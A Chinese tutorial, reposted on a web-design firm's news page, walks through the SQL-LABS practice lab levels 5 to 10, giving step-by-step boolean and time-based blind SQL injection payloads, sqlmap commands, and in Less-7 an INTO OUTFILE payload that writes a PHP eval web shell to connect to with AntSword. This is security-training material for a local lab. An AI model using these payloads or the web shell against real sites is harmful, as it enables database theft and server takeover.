尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SQL-LABS Less5-Less10 盲注实战指南

SQL-LABS Less5-Less10 盲注实战指南
📅 发布时间:2026/7/21 22:41:30

SQL-LABS Less-5 到 Less-10 盲注实战指南


📋 目录

  1. 盲注基础知识
  2. 环境准备
  3. Less-5:布尔盲注入门
  4. Less-6:双引号布尔盲注
  5. Less-7:导出文件注入
  6. Less-8:时间盲注基础
  7. Less-9:时间盲注进阶
  8. Less-10:双引号时间盲注
  9. 自动化工具使用
  10. 总结与经验

一、盲注基础知识

什么是盲注?

盲注(Blind SQL Injection)是指在 SQL 注入攻击中,页面不会直接回显数据库内容,只能通过页面的不同反应来判断注入是否成功。

盲注的两种类型

类型判断依据速度难度
布尔盲注页面内容变化(True/False)快中等
时间盲注页面响应时间变化慢较高

为什么需要盲注?

在真实环境中,很多网站:

  • ❌ 不显示 SQL 错误信息
  • ❌ 不回显查询结果
  • ✅ 只显示"登录成功/失败"、"存在/不存在"等简单提示

这时候就必须使用盲注技术。


二、环境准备

1. 启动 SQL-LABS

确保 PHPStudy/XAMPP 已启动,访问:

http://localhost/sqli-labs/

2. 工具准备

  • ✅ 浏览器(Chrome/Firefox)
  • ✅ Burp Suite(可选,用于拦截请求)
  • ✅ SQLMap(自动化工具)
  • ✅ 笔记本(记录payload和结果)

3. 核心 SQL 函数复习

函数作用示例
length()获取字符串长度length(database())
substr()截取字符串substr(database(),1,1)第1个字符
ascii()获取字符ASCII码ascii(substr(database(),1,1))
if()条件判断if(1=1, sleep(5), 0)
sleep()延迟执行sleep(5)延迟5秒
mid()同 substrmid(database(),1,1)

三、Less-5:布尔盲注入门

关卡信息

  • URL:http://localhost/sqli-labs/Less-5/?id=1
  • 注入点:GET 参数id
  • 注入类型:单引号字符型布尔盲注
  • 页面特征:正确时显示 “You are in…”,错误时无输出

步骤 1:判断注入点

测试 Payload:

?id=1'

现象:页面无任何输出(说明SQL语法错误)

测试闭合:

?id=1' --+ ?id=1' # ?id=1' and '1'='1

结论:单引号闭合,存在注入点。

步骤 2:判断数据库名长度

Payload 模板:

?id=1' and length(database())>5 --+

测试过程:

?id=1' and length(database())>10 --+ # 无输出(False,长度≤10) ?id=1' and length(database())>5 --+ # 有输出(True,长度>5) ?id=1' and length(database())>8 --+ # 无输出(False,长度≤8) ?id=1' and length(database())=8 --+ # 有输出(True,长度=8)

结论:数据库名长度为8。

步骤 3:逐字符猜解数据库名

Payload 模板:

?id=1' and ascii(substr(database(),1,1))>100 --+

猜解第 1 个字符:

?id=1' and ascii(substr(database(),1,1))>100 --+ # 有输出(ASCII > 100) ?id=1' and ascii(substr(database(),1,1))>110 --+ # 有输出(ASCII > 110) ?id=1' and ascii(substr(database(),1,1))>115 --+ # 无输出(ASCII ≤ 115) ?id=1' and ascii(substr(database(),1,1))=115 --+ # 有输出(ASCII = 115)

结论:第 1 个字符 ASCII 码是115,对应字母s。

重复步骤猜解剩余字符,最终得到数据库名:security

步骤 4:猜解表名

先猜解表名数量:

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

猜解第一个表名长度:

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

猜解第一个表名的第一个字符:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

完整表名列表:

  • emails
  • referers
  • uagents
  • users

步骤 5:猜解列名和数据

猜解 users 表的列名:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+

最终获取数据:

username: admin password: password

四、Less-6:双引号布尔盲注

关卡信息

  • URL:http://localhost/sqli-labs/Less-6/?id=1
  • 注入类型:双引号字符型布尔盲注
  • 与 Less-5 的区别:闭合方式从单引号变成双引号

核心区别

Less-5 闭合:

SELECT*FROMusersWHEREid='$id'LIMIT0,1

Less-6 闭合:

SELECT*FROMusersWHEREid="$id"LIMIT0,1

测试闭合方式

?id=1" # 错误 ?id=1" --+ # 正确 ?id=1" and "1"="1 # 正确

Payload 调整

只需要把 Less-5 的所有 Payload 中的单引号换成双引号:

# Less-5 ?id=1' and length(database())=8 --+ # Less-6(双引号) ?id=1" and length(database())=8 --+

其他步骤完全相同。


五、Less-7:导出文件注入

关卡信息

  • URL:http://localhost/sqli-labs/Less-7/?id=1
  • 注入类型:导出文件注入(INTO OUTFILE)
  • 闭合方式:'))双括号单引号

核心知识:INTO OUTFILE

作用:将查询结果写入文件。

语法:

SELECT'content'INTOOUTFILE'/path/to/file.txt'

利用条件:

  1. ✅ MySQL 用户有 FILE 权限
  2. ✅ 知道网站物理路径
  3. ✅ 目标目录可写

步骤 1:判断闭合方式

?id=1' # 错误 ?id=1') # 错误 ?id=1')) # 错误 ?id=1')) --+ # 正确!

步骤 2:查看当前路径

?id=1')) and 1=2 union select 1,@@datadir,3 --+

步骤 3:写入一句话木马

Payload:

?id=1')) union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'C:/phpStudy/WWW/sqli-labs/shell.php' --+

注意事项:

  • Windows 路径用/或\\
  • 文件名不能已存在
  • 路径必须可写

步骤 4:连接木马

访问:

http://localhost/sqli-labs/shell.php

用菜刀/蚁剑连接,密码:cmd


六、Less-8:时间盲注基础

关卡信息

  • URL:http://localhost/sqli-labs/Less-8/?id=1
  • 注入类型:单引号时间盲注
  • 页面特征:无论输入什么,都显示 “You are in…”

时间盲注原理

页面没有任何变化,只能通过响应时间判断:

  • 条件为真 → 延迟 5 秒
  • 条件为假 → 立即返回

步骤 1:确认时间盲注

Payload:

?id=1' and sleep(5) --+

现象:页面延迟约 5 秒后返回。

步骤 2:判断数据库名长度

Payload 模板:

?id=1' and if(length(database())=8, sleep(5), 0) --+

测试过程:

?id=1' and if(length(database())=10, sleep(5), 0) --+ # 立即返回(False) ?id=1' and if(length(database())=8, sleep(5), 0) --+ # 延迟5秒(True)

结论:数据库名长度为8。

步骤 3:逐字符猜解数据库名

Payload 模板:

?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+

猜解第 1 个字符:

?id=1' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))>110, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+ # 延迟5秒(确认)

重复步骤猜解剩余字符,得到:security

注意事项

⚠️时间盲注很慢!

  • 每个字符需要多次请求(二分法约 7 次)
  • 8 个字符 = 至少 56 次请求
  • 每次延迟 5 秒 = 总共需要280 秒(约 5 分钟)

💡优化方法:

  • 使用二分法减少请求次数
  • 延迟时间改为 2-3 秒
  • 使用自动化工具(SQLMap)

七、Less-9:时间盲注进阶

关卡信息

  • URL:http://localhost/sqli-labs/Less-9/?id=1
  • 注入类型:单引号时间盲注
  • 与 Less-8 的区别:无论输入什么都返回相同内容

核心特点

更加"盲":

  • Less-8:错误时有提示
  • Less-9:任何情况都显示 “You are in…”

解题方法

完全依赖时间判断,步骤与 Less-8 一致:

# 判断长度 ?id=1' and if(length(database())=8, sleep(3), 0) --+ # 猜解字符 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 0) --+

八、Less-10:双引号时间盲注

关卡信息

  • URL:http://localhost/sqli-labs/Less-10/?id=1
  • 注入类型:双引号时间盲注
  • 闭合方式:"

解题方法

把 Less-8/Less-9 的单引号改成双引号:

# Less-8/9(单引号) ?id=1' and if(length(database())=8, sleep(3), 0) --+ # Less-10(双引号) ?id=1" and if(length(database())=8, sleep(3), 0) --+

九、自动化工具使用

SQLMap 基础用法

Less-5(布尔盲注):

sqlmap-u"http://localhost/sqli-labs/Less-5/?id=1"--batch--dbs

Less-8(时间盲注):

sqlmap-u"http://localhost/sqli-labs/Less-8/?id=1"--batch--technique=T--dbs

常用参数:

--dbs# 列出所有数据库--current-db# 当前数据库名-Dsecurity--tables# 列出 security 库的表-Dsecurity-Tusers--columns# 列出 users 表的列-Dsecurity-Tusers--dump# 导出 users 表数据--technique=B# 只使用布尔盲注--technique=T# 只使用时间盲注

十、总结与经验

核心知识点

  1. 布尔盲注- 通过页面内容变化判断(快)
  2. 时间盲注- 通过响应时间判断(慢但通用)
  3. 闭合方式- 单引号、双引号、括号组合
  4. 核心函数- length()、substr()、ascii()、if()、sleep()

关卡对照表

关卡注入类型闭合方式难度关键点
Less-5布尔盲注'⭐⭐⭐基础布尔盲注
Less-6布尔盲注"⭐⭐⭐双引号闭合
Less-7文件导出'))⭐⭐⭐⭐INTO OUTFILE
Less-8时间盲注'⭐⭐⭐⭐基础时间盲注
Less-9时间盲注'⭐⭐⭐⭐完全盲注
Less-10时间盲注"⭐⭐⭐⭐双引号时间盲注

相关新闻

  • 零知识证明入门指南:用snarkjs快速构建隐私保护应用
  • 粉末包装机厂家哪家靠谱?广州恒尔十五年专注沉淀打造卓越品质 - 品牌速递
  • 颠覆传统励志语录推送成功案例,编写程序,每日推送知名人物的失败经历,提炼失败中的经验,作为当天创新试错的底气。

最新新闻

  • 71-Agent记忆系统-短期记忆-长期记忆-向量知识库三层架构
  • 深入解析TI EDMA3同步传输:A同步与AB同步模式原理与实战配置
  • 苏州劳力士回收价格查询及各大回收平台实测**2026年7月最新) - 天价名表回收平台
  • TensorRT深度学习推理加速:核心优化技术与实战部署
  • GEO优化效果怎么看?广拓时代谈AI提及率、推荐率和引用来源
  • 2026年生产级RAG技术栈选型:LangChain+Cohere Rerank实战

日新闻

  • AI云原生实战05-金融AI上云最难的不是技术,是“不出事“——TCE银行风控架构拆解
  • 2026年GEOSEO优化公司选型深度测评:五大硬核标准严选,这六家重塑搜索增长新格局 - 品牌前沿专家
  • **核验!2026年7月卡地亚香港**售后网点地址及服务电话公告 - 卡地亚服务中心

周新闻

  • SaaS软件行业GEO实践:AI搜索时代的品牌可见性与获客新路径
  • 什么是PCTFE?医药高端包装的“防潮王牌“材料
  • 【JVM调优实战】16-可视化利器-JConsole-VisualVM-JMC

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号